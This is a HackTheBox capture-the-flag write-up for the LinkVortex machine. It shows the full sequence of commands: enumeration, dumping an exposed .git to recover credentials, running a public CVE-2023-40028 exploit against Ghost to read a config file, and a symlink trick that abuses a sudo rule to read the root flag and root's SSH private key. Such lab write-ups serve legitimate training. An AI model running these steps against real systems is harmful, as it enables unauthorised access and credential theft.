Post

HackTheBox LinkVortex Writeup

Explore the fundamentals of cybersecurity in the LinkVortex Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.47 dev.linkvortex.htb linkvortex.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.47"
domain="dev.linkvortex.htb linkvortex.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV linkvortex.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.050s latency).
rDNS record for 10.10.11.47: dev.linkvortex.htb
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: BitByBit Hardware
| http-robots.txt: 4 disallowed entries 
|_/ghost/ /p/ /email/ /r/
|_http-generator: Ghost 5.58
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Subdomain Enumeration:

1
ffuf -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H 'Host: FUZZ.linkvortex.htb' -fs 230
  • dev
1
dirb dev.linkvortex.htb
  • .git
1
2
git-dumper http://dev.linkvortex.htb ./dump
cat ./dump/ghost/core/test/regression/api/admin/authentication.test.js | grep "password"

This yields OctopiFociPilfer45

1
2
3
4
git clone https://github.com/0xyassine/CVE-2023-40028 
cd CVE-2023-40028 
nano ./CVE-2023-40028.sh # change the 127.0.0.1 to your target
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

In the dumped .git, we found Dockerfile.ghost, which reveals the container path to config.production.json at /var/lib/ghost/config.production.json.

1
/var/lib/ghost/config.production.json

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

This yields fibber-talented-worth

1
ssh bob@linkvortex.htb
1
2
cat user.txt
sudo -l

Output:

1
 (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
1
cat /opt/ghost/clean_symlink.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

The script quarantines .png symbolic links, prevents access to critical files (/etc or /root), and optionally displays file contents (CHECK_CONTENT=true), making it exploitable if symbolic links point to sensitive files outside /etc or /root.

1
2
3
ln -s /root/root.txt pwn.txt
ln -s /home/bob/pwn.txt pwn.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png

Reveals the root flag.

Beyond Root

Just the same but for the root user private key:

1
2
3
4
5
6
7
ln -s /root/.ssh/id_rsa hacking.txt
ln -s /home/bob/hacking.txt bild.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/bild.png
echo -n 'Waiting for the key to be copied. Press Enter to continue: '; read
nano /tmp/id_rsa
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa root@127.0.0.1

Copy the id_rsa private key to your machine and use it to SSH into the target as root from your local system if needed.

This post is licensed under CC BY 4.0 by the author.